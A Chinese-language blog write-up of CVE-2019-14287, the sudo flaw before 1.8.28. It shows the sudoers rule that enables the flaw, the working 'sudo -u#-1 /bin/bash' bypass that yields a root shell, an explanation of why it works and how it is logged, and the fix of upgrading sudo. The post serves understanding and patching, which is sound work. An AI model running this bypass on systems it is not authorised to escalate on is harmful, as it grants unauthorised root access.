CVE-2019-14287

299 阅读2分钟

title: CVE-2019-14287提权漏洞 date: 2019-10-16 09:15:00 categories: 信息安全 tags:

  • 提权漏洞

CVE-2019-14287提权漏洞

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。

漏洞描述

这个漏洞比较鸡肋,并不是sudo版本低就可以让你能够提权,需要满足一定条件才能触发这个漏洞。

场景复现

Linux默认是没有将用户添加到sudoers列表中的,需要root手动将账户添加到sudoers列表中,才能让普通账户执行sudo命令。

影响版本

sudo < 1.8.28

添加用户

在服务多的情况下,管理员会将一些普通用户添加到sudoers列表中,这也是我们触发漏洞的关键。

# username  ALL=(ALL,!root) ALL
  • username表示添加的用户名
  • 第一个ALL表示允许该用户在任意机器或者终端中使用sudo
  • 括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
  • 最后一个ALL表示被允许执行的命令

修改/etc/sudoers文件,kalifun用户不能以root用户执行/bin/bash命令。

kalifun ALL=(ALL,!root) /bin/bash

操作过程

1.切换kalifun用户

#su kalifun
#whoami
#kalifun

2.执行/bin/bash

#sudo /bin/bash
Sorry, user kalifun is not allowed to execute '/bin/bash' as root on xxxxxxxx.

你会发现你无法执行bash命令。现在我们进行提权操作。

3.提权

#sudo -u#-1 /bin/bash
bash-4.2# whoami
root

现在你就变成root权限了。

sss

漏洞原理

用户可以通过命令行上的 –u#-1 绕过这个非 root限制。如果将 sudo配置为允许用户通过Runas 规范中的 ALL 关键字以任意用户身份运行命令,则可以通过指定用户 ID为-1 或4294967295 以 root 用户身份运行命令。只要Runas 规范中最先列出 ALL 关键字,即使Runas 规范明确禁止 root访问权限,那么具有足够的 sudo 权限的而用户即可以 root 身份运行命令。以这种方式运行的命令的日志条目会把目标用户列为 4294967295而非 root。

修复

手动升级sudo版本。

参考

Linux Sudo被曝漏洞,可导致用户以root权限运行命令